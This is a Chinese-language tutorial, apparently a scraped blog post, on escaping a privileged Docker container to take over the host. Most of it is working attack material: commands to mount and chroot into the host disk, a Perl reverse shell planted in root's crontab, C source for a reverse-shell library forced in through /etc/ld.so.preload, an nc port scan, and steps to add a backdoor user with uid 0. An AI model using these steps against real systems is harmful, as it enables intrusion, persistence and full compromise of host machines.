文章目录
CAP权限配置不当
privileged,特权容器提权
测试环境配置
docker run -it --privileged ubuntu:18.04
实际环境利用
如果查看到CapEff为0000003fffffffff代表为特权容器,可以逃逸
cat /proc/1/status|grep CapEff
CapEff: 0000003fffffffff
逃逸方法,挂载宿主机根目录
fdisk -l|grep Linux
mkdir /host
mount /dev/vda1 /host
chroot /host
这个时候只是文件系统层面逃逸,还没有彻底逃逸,需要用到接下来的方法
计划任务
/var/spool/cron/crontabs/ 适用于ubuntu debain
ls -la /var/spool/cron/crontabs
如果目录存在,代表我们可以写一个crontab
echo $'*/1 * * * * perl -e \'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root
然后就是彻底逃逸了
/var/spool/cron 适用于centos
ls -la /var/spool/cron/
如果目录存在,代表我们可以写一个crontab
echo $'*/1 * * * * perl -e \'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/root
chmod 600 /var/spool/cron/root
ld.so.preload
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
int tcp_port = 8080;
char *ip = "127.0.0.1";
__attribute__((destructor)) void test(){
remove("/etc/ld.so.preload");
int pid;
if((pid=fork())==0){
int fd;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
system("/bin/bash");
}
}
gcc evil.c --shared -fPIC -o evil.so
上传evil.so到/tmp
echo '/tmp/evil.so' >/etc/ld.so.preload
然后下次系统会自动load这个so,并且可以实现无感知注入,达到逃逸,不过这种注入还是需要类似有运维操作才可以触发,或者说有新进程创建
ssh
当文件系统逃逸到宿主机上,可以做端口扫描
扫描二维码关注公众号,回复:
15669478 查看本文章
nc -nvz -w2 172.17.0.1 1-65535 2>&1|grep succeeded
如果发现宿主机开放了ssh服务,那我们可以直接ssh登陆到宿主机上实现逃逸
直接adduser
adduser test
passwd test
同时可以修改/etc/passwd 把test uid改为0变成root